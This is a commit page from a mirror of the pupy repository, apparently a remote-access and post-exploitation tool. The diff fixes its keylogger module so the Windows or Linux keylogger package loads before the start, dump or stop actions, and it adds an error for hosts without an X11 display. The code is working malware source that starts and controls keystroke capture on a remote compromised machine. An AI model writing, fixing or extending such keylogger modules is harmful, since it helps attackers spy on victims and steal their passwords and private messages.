mirror of https://github.com/n1nj4sec/pupy.git
fix keylogger bug (use dump or stop before the start option)
This commit is contained in:
parent
a25a14aedf
commit
47a035b3e6
|
@ -31,9 +31,13 @@ class KeyloggerModule(PupyModule):
|
||||||
self.success("keylogger stopped")
|
self.success("keylogger stopped")
|
||||||
|
|
||||||
def run(self, args):
|
def run(self, args):
|
||||||
if args.action=="start":
|
|
||||||
if self.client.is_windows():
|
if self.client.is_windows():
|
||||||
self.client.load_package("pupwinutils.keylogger")
|
self.client.load_package("pupwinutils.keylogger")
|
||||||
|
else:
|
||||||
|
self.client.load_package("keylogger")
|
||||||
|
|
||||||
|
if args.action=="start":
|
||||||
|
if self.client.is_windows():
|
||||||
with redirected_stdio(self.client.conn): #to see the output exception in case of error
|
with redirected_stdio(self.client.conn): #to see the output exception in case of error
|
||||||
if not self.client.conn.modules["pupwinutils.keylogger"].keylogger_start():
|
if not self.client.conn.modules["pupwinutils.keylogger"].keylogger_start():
|
||||||
self.error("the keylogger is already started")
|
self.error("the keylogger is already started")
|
||||||
|
@ -41,9 +45,11 @@ class KeyloggerModule(PupyModule):
|
||||||
self.success("keylogger started !")
|
self.success("keylogger started !")
|
||||||
# not tested on android
|
# not tested on android
|
||||||
else:
|
else:
|
||||||
self.client.load_package("keylogger")
|
|
||||||
with redirected_stdio(self.client.conn): #to see the output exception in case of error
|
with redirected_stdio(self.client.conn): #to see the output exception in case of error
|
||||||
if not self.client.conn.modules["keylogger"].keylogger_start():
|
r = self.client.conn.modules["keylogger"].keylogger_start()
|
||||||
|
if r == 'no_x11':
|
||||||
|
self.error("the keylogger does not work without x11 graphical interface")
|
||||||
|
elif not r:
|
||||||
self.error("the keylogger is already started")
|
self.error("the keylogger is already started")
|
||||||
else:
|
else:
|
||||||
self.success("keylogger started !")
|
self.success("keylogger started !")
|
||||||
|
|
Loading…
Reference in New Issue